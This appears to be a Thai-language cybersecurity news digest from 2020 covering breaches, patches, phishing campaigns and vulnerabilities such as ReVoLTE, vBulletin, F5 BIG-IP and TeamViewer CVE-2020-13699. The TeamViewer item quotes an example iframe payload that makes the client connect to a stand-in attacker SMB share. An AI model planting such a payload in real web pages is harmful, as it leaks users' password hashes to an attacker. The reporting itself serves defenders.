Microsoft จะเปิดฟีเจอร์ให้ผู้ใช้งาน Office 365 สามารถอนุญาตกำหนดให้อีเมลที่มี URL หรือไฟล์แนบที่เป็นอันตรายเข้าถึงอินบ็อกของผู้ใช้เพื่อทำการจำลองการโจมตีด้วยฟิชชิ่งเมล โดยฟีเจอร์นี้จะทำให้ผู้ใช้งานสามารถเลือกรายการที่อาจมีภัยคุกคามและอนุญาตให้เข้าถึงกล่องอินบ็อกของผู้รับหลังจากผ่านเลเยอร์การของการฟิลเตอร์ด้วย Office 365 Exchange Online Protection (EOP)

สำหรับ EOP คือบริการฟิลเตอร์บนคลาวด์ที่จะสแกนและบล็อกสแปมและอีเมลที่มีไฟล์แนบที่เป็นอันตรายไม่ให้เข้ามาภายในกล่องอินบ็อกของ Exchange Online ซึ่ง Microsoft จะเพิ่มความสามารถให้ผู้ดูแลระบบสามารถอนุญาตให้อีเมลที่มี URL หรือไฟล์แนบที่เป็นอันตรายเข้าถึงอินบ็อกของผู้ใช้ได้ผ่านหน้า Tenant Allow/Block list โดย Microsoft วางแผนจะเปิดตัว Tenant Allow/Block list ใหม่นี้ในช่วงไตรมาสที่ 3 ปี 2020

ในปัจจุบันนี้ องค์กรที่ใช้ Office 365 Advanced Threat Protection Plan 2 จะสามารถใช้เครื่องมือ Attack Simulator ที่อนุญาตให้ผู้ดูแลระบบรักษาความปลอดภัยสามารถจำลองการโจมตีในรูปแบบ Spear phishing, Password spray และการโจมตีแบบ Brute force ภายในองค์กรของผู้ใช้ได้ สามารถศึกษาเพิ่มเติมได้จาก https://docs.

SANS ออกมาประกาศการตรวจพบการโจมตีซึ่งเป็นผลมาจากการอีเมลฟิชชิ่งที่พุ่งเป้าโจมตีบัญชีพนักงานภายในและส่งผลให้เกิดการเข้าถึงและรั่วไหลของข้อมูลส่วนบุคคลกว่า 28,000 รายการ โดยข้อมูลส่วนบุคคลที่รั่วไหลนั้นประกอบไปด้วยชื่อ, อีเมล, หมายเลขโทรศัพท์, ตำแหน่งงาน, ชื่อบริษัท, ที่อยู่และรหัสไปรษณีย์

จากการตรวจสอบในเบื้องต้น SANS ยืนยันว่าไม่มีระบุหรือบัญชีใดนอกเหนือจาก 28,000 รายการดังกล่าวที่ได้รับผลกระทบ โดย SANS ได้มีการส่งอีเมลไปยังบุคคลซึ่งได้รับผลกระทบแล้ว (ตามตัวอย่างรูปด้านล่าง) ทาง SANS ยังได้มีการอัปเดตข้อมูลกับ The Register เพิ่มเติมว่าข้อมูลที่ได้รับผลกระทบจากการโจมตีนั้นคือข้อมูลของผู้ที่เข้ากรอกเพื่อเข้าร่วมกิจกรรมสัมมนาออนไลน์ DFIR Summit ซึ่งพึ่งมีการจัดกิจกรรมไป

ทีม SANS DFIR กำลังเข้าตรวจสอบเหตุการณ์ดังกล่าวและเสริมความปลอดภัยระบบ โดยจะมีการจัดทำ Webcast เพื่อแถลงถึงความโปร่งใสในการดำเนินการและผลกระทบเพิ่มเติมให้สาธารณะได้รับทราบอีกครั้ง

ที่มา:

sans.

มีการตรวจพบข้อมูลสำหรับการสอบ CREST Registered Penetration Tester หรือ CRT ซึ่งมีการปรากฎของโลโก้บริษัทด้าน Cybersecurity ชื่อดัง "NCC Group" ถูกเผยแพร่บน GitHub โดยข้อมูลที่ถูกเผยแพร่นั้นประกอบไปด้วยเอกสารการอบรม, เอกสารอธิบายขั้นตอนตามลำดับในการทำข้อสอบของ CREST รวมไปถึงโน้ตที่มีการอ้างอิงถึง "เวอร์ชันโคลนของแอปที่ใช้สอบเพื่อให้ผ่านในครั้งแรก", "อุปกรณ์ภายในที่เกี่ยวข้องกับสอบ CRT" รวมไปถึงเนื้อหาข้อสอบบางส่วนด้วย

การปรากฎของข้อมูลดังกล่าวทำให้ประเด็นของการมี "ดีลลับ" ระหว่างบริษัท NCC Group และสถาบัน CREST กลายเป็นประเด็นขึ้นมา หนึ่งในแหล่งข่าวที่ให้ข้อมูลกับ The Register นั้นกล่าวว่า การมีอยู่ของข้อมูลดังกล่าวนั้นถือว่าเป็น Open secret ในวงการ Cybersecurity ของสหราชอาณาจักรมานานแล้วเพียงแต่รู้กันในวงแคบ การปรากฎของข้อมูลดังกล่าวเป็นหลักฐานชิ้นสำคัญที่อาจช่วยยืนยันว่ากระบวนการ Certification ที่เชื่อถือกันมานานนั้นอาจไม่ได้มีความน่าเชื่อถือเท่าที่เราคิดกัน

สถาบันด้านการอบรมเกี่ยวกับ Cybersecurity พร้อม Certification ชื่อดังในประเทศอังกฤษ "CREST" ออกมายอมรับและยืนยันข้อมูลความเป็นจริงของข้อมูลดังกล่าวและกล่าวว่าจะดำเนินการสืบสวนต่อเนื่องจากเป็นการผิด NDA อย่างร้ายแรงซึ่งอาจส่งผลให้เกิดการยึดคืน Certificate ในขณะเดียวกันทาง NCC Group ก็ออกมาแถลงว่าเอกสารดังกล่าวว่าแม้จะมีการปรากฎของโลโก้ NCC Group แต่เอกสารดังกล่าวก็ไม่เกี่ยวข้องกับ NCC Group แต่อย่างใด และยังยืนยันถึงความเคารพในกระบวนการของ CREST ด้วย

ที่มา: theregister.

ทีมนักวิจัยจากมหาวิทยาลัย Ruhr ประเทศเยอรมนี ได้ออกมาเปิดเผยผลการวิจัยใหม่ซึ่งบ่งชี้ให้เห็นถึงข้อบกพร่องในการใช้งาน 4G LTE ในผู้ให้บริการภายใต้ชื่อ ReVoLTE ส่งผลให้ผู้โจมตีสามารถดักฟังการใช้งานได้

4G LTE เป็นมาตรฐานด้านการสื่อสารที่ใช้กันอยู่ทั่วไปในปัจจุบันโดยมี Voice over LTE หรือ VoLTE เป็นอีกเทคโนโลยีหนึ่งบน 4G LTE ซึ่งทำหน้าที่ในการรับส่งข้อมูลประเภทเสียง ตามมาตรฐานของ VoLTE นั้น การใช้งาน VoLTE สามารถทำแบบเข้ารหัสได้โดยที่ผู้ให้บริการเป็นผู้เลือกกุญแจในเข้ารหัสให้แตกต่างกันในแต่ละการใช้งาน จากนั้นนำไปเข้ารหัสด้วย stream cipher

ReVoLTE เป็นข้อบกพร่องที่เกิดจากการที่ผู้ให้บริการไม่ได้มีการเปลี่ยนกุญแจในการเข้ารหัส และใช้กุญแจเข้ารหัสเดิมในการเข้ารหัสซ้ำในแต่ละการใช้งาน ด้วยจุดอ่อนโดยทั่วไปของวิธีการเข้ารหัสแบบ stream cipher ปัญหาของการใช้กุญแจเข้ารหัสซ้ำจะส่งผลให้ผู้โจมตีสามารถทำการแกะกุญแจถอดรหัสออกมาได้โดยเปรียบเทียบข้อมูลที่ถูกเข้ารหัสด้วยกุญแจเดียวกัน ผู้โจมตีสามารถสร้างการโจมตีได้โดยการโทรหาเหยื่อและทำการบันทึกการสนทนาเอาไว้ 2 รอบจาก base station เดิม ยิ่งมีการบันทึกข้อมูลมากเท่าไหร่จะยิ่งมีโอกาสในการโจมตีสำเร็จที่มากขึ้น

หากใครคุ้นเคยกับช่องโหว่ในลักษณะนี้ มันข้อบกพร่องในลักษณะที่ใกล้เคียงกับมาตรฐาน WEP ในเครือข่าย Wireless ที่เกิดจากปัญหาของค่า IV ที่ทำให้แฮกเกอร์สามารถแกะคีย์ที่ใช้ใน RC4 ได้

นักวิจัยให้ข้อมูลเพิ่มเติมว่า อุปกรณ์ที่จำเป็นต่อการทำให้การโจมตีนี้สำหรับนั้นมีมูลค่าประมาณ 7000 ดอลลาร์ ซึ่งอยู่ในระดับเดียวกับที่รัฐบาลและหน่วยงานความมั่นคงใช้เพื่อซื้ออุปกรณ์ดักฟังรูปแบบอื่น โดยนักวิจัยยังมีการปล่อยแอปเพื่อตรวจสอบช่องโหว่นี้ให้กับผู้ใช้งานทั่วไปด้วยที่ https://github.

ไมโครซอฟต์ประกาศ Patch Tuesday ประจำเดือนสิงหาคม 2020 แล้ว โดยในเดือนนี้นั้นมี 120 ช่องโหว่ที่ได้รับการแพตช์ มีช่องโหว่ระดับวิกฤติอยู่ทั้งสิ้น 17 ช่องโหว่ ครอบคลุมกลุ่มผลิตภัณฑ์ Microsoft Edge, Windows, SQL Server และ .NET Framework

จากช่องโหว่ที่ได้รับการแพตช์ในรอบนี้นั้น ไมโครซอฟต์รายงานถึงการใช้ช่องโหว่เพื่อโจมตีแล้ว 2 ช่องโหว่ได้แก่ CVE-2020-1380 (CVSSv3 7.5) ซึ่งเป็นช่องโหว่ RCE ใน Scripting Engine กระทบกับ Internet Explorer 11 และช่องโหว่ CVE-2020-1464 (CVSSv3 5.3/10) ซึ่งเป็นช่องโหว่ในกระบวนการตรวจสอบ digital signature ของ Windows โดยนักวิจัยจาก Kaspersky ซึ่งค้นพบการใช้ช่องโหว่นี้เชื่อว่าผู้อยู่เบื้องหลังการใช้ช่องโหว่นี้มีเป้าหมายโจมตีบริษัทในเกาหลีใต้

ไอ-ซีเคียวขอแนะนำให้ผู้ใช้งานและผู้ดูแลระบบดำเนินการอัปเดตแพตช์ให้เป็นรุ่นล่าสุดโดยด่วนเพื่อลดความเสี่ยงที่จะถูกโจมตีโดยผู้ไม่ประสงค์ดี

ที่มา:

bleepingcomputer.

นักวิจัยด้านความปลอดภัย Amir Etemadieh จาก Austin-based ได้ทำการเผยแพร่รายละเอียดทางเทคนิคและโค้ด Proof-of-Concept (PoC) สำหรับช่องโหว่ Zero-day การเรียกใช้รหัสระยะไกลใน vBulletin

ช่องโหว่ที่ได้รับการเปิดเผยนี้เป็นช่องโหว่ใหม่ใช้สำหรับทำการ Bypass เเพตซ์ความปลอดภัยช่องโหว่ CVE-2019-16759 ที่ได้รับการเปิดเผยมาแล้วในเดือนกันยายน 2019 ซึ่งช่องโหว่ CVE-2019-16759 จะอนุญาตให้ผู้โจมตีใช้ประโยชน์จากจุดบกพร่องในระบบเทมเพลตของ vBulletin เพื่อเรียกใช้โค้ดที่เป็นอันตรายและเข้ายึดฟอรั่มโดยไม่จำเป็นต้องตรวจสอบสิทธิ์และได้รับการเเพตซ์เเก้ไขช่องโหว่ไปแล้ว

Etemadieh อธิบายว่าช่องโหว่ที่เขาได้ทำการเผยเเพร่ต่อสาธารณะนี้เกิดจากการล้มเหลวและการเเก้ไขช่องโหว่ไม่ถูกจุดของ vBulletin และใช้เวลาในการเเก้ไขช่องโหว่นี้นานกว่าหนึ่งปี สิ่งนี้จึงทำให้เขารู้สึกการเปิดเผยข้อมูลทั้งหมดเป็นทางออกที่ดีเพื่อจะช่วยให้เร่งสู่การเเก้ไข ซึ่ง PoC ที่ได้รับเปิดเผยนี้จะกระทบกับ vBulletin เวอร์ชั่นก่อน 5.6.2

ทีมงาน vBulletin ได้เเนะนำให้ผู้ใช้งานและผู้ดูแลระบบควรรีบทำการอัปเกรด vBulletin เป็นเวอร์ชั่น 5.6.2 โดยเร็วที่สุดเพื่อป้องกันการใช้ประโยชน์จาก PoC ที่ถูกเปิดเผยทำการโจมตีระบบ ส่วนสำหรับผู้ดูแลที่ไม่สามารถทำการอัปเกรด vBulletin ได้ในขณะนี้ให้ทำการบรรเทาการใช้ช่องโหว่โดยการตั้งค่าดังนี้

ไปที่ vBulletin administrator control panel
คลิก "Setting" ในเมนูทางด้านซ้ายจากนั้นคลิก "Option" ในเมนู Drop down
จากนั้นเลือก “General Setting” จากนั้นคลิก “Edit Setting”
จากนั้นมองหา “Disable PHP, Static HTML และ Ad Module rendering” ให้ทำการเซตเป็น “Yes”
กด “Save”

ที่มา:

bleepingcomputer.

FBI ออกแจ้งเตือนภัยถึงกลุ่มเเฮกเกอร์ชาวอิหร่านพยายามใช้ประโยชน์จากช่องโหว่ CVE-2020-5902 (F5 BIG-IP) ทำการโจมตีระบบ

FBI ได้ออกประกาศ Private Industry Notification (PIN) เพื่อเเจ้งเตือนถึงกลุ่มแฮกเกอร์ชาวอิหร่านพยายามใช้ประโยชน์จากข้อบกพร่องในช่องโหว่ CVE-2020-5902 ที่มีคะเเนนความรุนเเรงของช่องโหว่ CVSS: 10/10 โดยช่องโหว่ทำให้ผู้โจมตีสามารถเรียกใช้โค้ดจากระยะไกลโดยไม่ผ่านการตรวจสอบความถูกต้องและช่องโหว่จะส่งผลต่ออุปกรณ์ F5 Big-IP Application Delivery Controller (ADC)

FBI กล่าวว่ากลุ่มแฮกเกอร์ชาวอิหร่านถูกตรวจพบว่ามีการพยายามโจมตีภาคเอกชนและรัฐบาลของสหรัฐฯ โดยใช้ประโยชน์จากช่องโหว่ที่ถูกพบตั้งแต่ต้นเดือนกรกฎาคม 2563 ทำการโจมตีอุปกรณ์ Big-IP ADC ที่ไม่ได้รับการอัปเดตเเพตซ์การติดตั้ง

FBI ยังกล่าวอีกว่าหลังจากกลุ่มแฮกเกอร์ทำการบุกรุกสำเร็จพวกเขาจะใช้ Webshell, Mimikatz, NMAP และเครื่องมืออื่นๆ เพื่อทำการหาประโยชน์และทำการบุกรุกภายในเครือข่ายรวมถึงการปรับใช้ช่องโหว่ร่วมกับ Ransomware ในการโจมตีภายในเครือข่าย

FBI ได้ขอแนะนำผู้ดูแลระบบรีบทำการเเพตซ์ช่องโหว่ดังกล่าวให้เร็วที่สุดเพื่อป้องกันการโจมตีโดยใช้ประโยชน์จากช่องโหว่ ทั้งนี้ F5 มีสคริปชื่อ CVE-2020-5902 Detection Tool สำหรับแสกนหา IoCs ในระบบ ว่าถูกโจมตีแล้วหรือยัง ซึ่งสามารถเข้าไปดาวน์โหลดได้ที่: https://github.

TeamViewer ได้ออกเเพตซ์เเก้ไขช่องโหว่ที่อาจทำให้ผู้โจมตีสามารถเชี่อมต่อคอมพิวเตอร์ของผู้ใช้ได้ ซึ่งเมื่อโจมตีสำเร็จ ผู้โจมตีที่ไม่ได้เข้าสู่ระบบจะสามารถรันโค้ดได้จากระยะไกล หรือเพื่อดึงแฮชรหัสผ่านได้ โดยช่องโหว่นี้ถูกเปิดเผยโดย Jeffrey Hofmann วิศวกรด้านการรักษาความปลอดภัยจาก Praetorian

ช่องโหว่ CVE-2020-13699 จัดเป็นช่องโหว่ในประเภท Unquoted Search Path or Element (CWE-428) โดยช่องโหว่ประเภทนี้เกิดเนื่องจากการที่โปรแกรมรับค่า input มาโดยไม่ได้จัดการให้ดี เช่น ไม่มีเครื่องหมาย quoted (“) ครอบ ทำให้โปรแกรมแปลความหลายค่า input ที่ได้รับผิดพลาด มองค่า input ที่ได้รับเป็นคำสั่งของโปรแกรม ทำให้ผู้โจมตีสามารถใส่คำสั่งอันตรายลงไปใน input เพื่อให้โปรแกรมรันคำสั่งอันตรายได้

ผู้โจมตีสามารถใช้ประโยชน์จากช่องโหว่นี้โดยทำการฝั่ง iframe ที่เป็นอันตรายในเว็บไซต์ที่ผู้โจมตีสร้างขึ้น โดยถ้าหากผู้ใช้ TeamViewer คลิกลิงก์ที่อยู่ภายในเว็บไซต์ที่เป็นอันตรายนี้ โค้ดจาก iframe ที่ผู้โจมตีฝั่งไว้จะทำงาน ซึ่งผู้โจมตีสามารถระบุให้แอปพลิเคชัน TeamViewer ที่ติดตั้งในเครื่องให้ทำการเชื่อมต่อกับเซิร์ฟเวอร์ของผู้โจมตีผ่านโปรโตคอล Server Message Block (SMB) ได้จากการใส่คำสั่งใน iframe ว่า teamviewer10: --play \\attacker-IP\share\fake.

พบแคมเปญอีเมลฟิชชิ่งที่กำหนดเป้าหมายไปยังผู้ใช้ cPanel โดยการส่งอีเมลคำเเนะนำด้านความปลอดภัยปลอมเเจ้งเตือนให้ผู้ใช้ทำการอัปเดตเวอร์ชั่นเพื่อเเก้ไขช่องโหว่ในส่วนการจัดการ WebHost Manager (WHM) และ cPanel

อีเมลฟิชชิ่งที่ทำการปลอมเเปลงนั้นใช้หัวเรื่องอีเมลชื่อว่า "cPanel Urgent Update Request" โดยอีเมลคำเเนะนำปลอมนั้นมีข้อความระบุว่ามีการเผยแพร่เเพตซ์การอัปเดตเพื่อแก้ไขช่องโหว่แล้วและเพื่อป้องกันการใช้ประโยชน์จากช่องโหว่ใน cPanel และ WHM เวอร์ชัน 88.0.3+, 86.0.21+ และ 78.0.49+ ผู้ใช้ควรทำการอัปเดตการติดตั้งให้เป็นเวอร์ชั่นล่าสุด

จากการวิเคราะห์ของ BleepingComputer พบว่าผู้โจมตีได้จดโดเมน “cpanel7831.com” เพื่อใช้เป็นอีเมลในการปลอมเเปลงคำเเนะนำด้านความปลอดภัยจาก cPanel และใช้ Amazon Simple Email Service (SES) เพื่อส่งอีเมลฟิชชิ่ง หากผู้รับอีเมลฟิชชิ่งหลงเชื่อและทำการคลิกที่ “อัปเดตการติดตั้ง cPanel & WHM ของคุณ” ลิงก์จะนำผู้ใช้ไปยังเว็บไซต์ที่ผู้โจมตีได้ทำการปลอมเเปลงเพื่อให้ผู้ใช้ล็อกอินเข้าสู่ระบบด้วยบัญชีของ cPanel และหลังจากผู้ใช้ทำการล็อกอินเข้าสู้ระบบด้วยบัญชีของ cPanel เว็บไซต์จะทำการ landing page ไปยังหน้า Google search ที่ใช้คำค้นหาด้วย cpanel

หากผู้ใช้หลงกรอกอีเมลและรหัสผ่าน ควรทำการเปลี่ยนรหัสผ่านทันที ทั้งนี้ผู้ใช้ควรทำการตรวจสอบอีเมลทุกครั้งก่อนทำการคลิกลิงก์ในอีเมลเพื่อป้องกันการฟิชชิ่งด้วยอีเมล

ที่มา: bleepingcomputer.

สำนักงานสืบสวนกลางแห่งสหรัฐอเมริกา หรือ FBI ได้ออกเเจ้งเตือนภาคเอกชนของสหรัฐอเมริกาเกี่ยวกับความเสี่ยงของการใช้ Windows 7 ต่อไปหลังจากที่ Windows 7 ได้ End-Of-Life (EOL) อย่างเป็นทางการแล้วเมื่อต้นปีที่ผ่านมา โดยไมโครซอฟต์จะไม่มีแพตช์ความปลอดภัยรวมถึงคำแนะนำด้านความปลอดภัยให้กับผลิตภัณฑ์ที่ End-Of-Life (EOL) ไปแล้ว ยกเว้นแต่มีการซื้อบริการซัพพอร์ตเพิ่ม

FBI ได้สังเกตเห็นอาชญากรทางไซเบอร์ได้ทำการตั้งเป้าหมายเพื่อทำการโจมตีคอมพิวเตอร์ที่ End-Of-Life (EOL) ภายใต้โครงสร้างพื้นฐานเครือข่ายคอมพิวเตอร์ ซึ่งการใช้ Windows 7 มีความเสี่ยงต่อการใช้ประโยชน์หรือเป็นช่องทางให้ผู้ประสงค์ร้ายทำการโจมตีเครือข่ายองค์กรหรือบริษัทเพื่อทำการเเสวงหาผลประโยชน์ในภายหลัง เนื่องจาก Windows 7 นั้นขาดการอัปเดตความปลอดภัยและเเก้ไขช่องโหว่ใหม่ๆ ที่ถูกค้นพบ

FBI ได้เรียกร้องขอให้ภาคเอกชนและบริษัทต่างๆ พิจารณาการอัปเกรด ถึงเเม้ว่าบางกรณีฮาร์ดแวร์พื้นฐานอาจไม่รองรับการอัปเกรดจากจาก Windows 7 ไปเป็น Windows 10 เเต่เพื่อป้องกันการโจมตีจากช่องโหว่ที่พบใน Windows 7 เช่นช่องโหว่ EternalBlue ที่อาจใช้ WannaCry ในการเเพร่กระจายมัลเเวร์ในเครือข่าย หรือเเม้เเต่ช่องโหว่ BlueKeep ซึ่งทำให้ผู้โจมตีสามารถเจาะเข้าไปใน Windows 7 ที่เปิดใช้งานปลายทาง RDP ได้ ซึ่งอาจก่อให้เกิดภัยคุกคามต่อองค์กรและการสูญเสียทรัพย์สินทางปัญญา ทั้งนี้มูลค่าการอัปเกรดนั้นอาจจะน้อยกว่าผลกระทบที่เกิดจากระบบถูกบุกรุก

ในขณะที่องค์กรหรือบริษัทต่างๆ กำลังพิจารณาการอัปเกรดทาง FBI ได้มีคำเเนะนำดังนี้

ตรวจสอบซอฟแวร์ป้องกันไวรัสและไฟร์วอลล์ให้เป็นเวอร์ชั่นปัจจุบันกำหนดค่าอย่างเหมาะสมและปลอดภัย
ทำการตรวจสอบการตั้งค่าในเครือข่ายและแยกระบบคอมพิวเตอร์ที่ไม่สามารถอัปเดตได้
ทำการการตรวจสอบเครือข่ายที่ใช้ RDP และทำการปิดพอร์ต RDP ที่ไม่ได้ใช้การรับรองความถูกต้องด้วย two-factor authentication (2FA) และบันทึกการพยายามเข้าสู่ระบบ RDP

ที่มา: zdnet.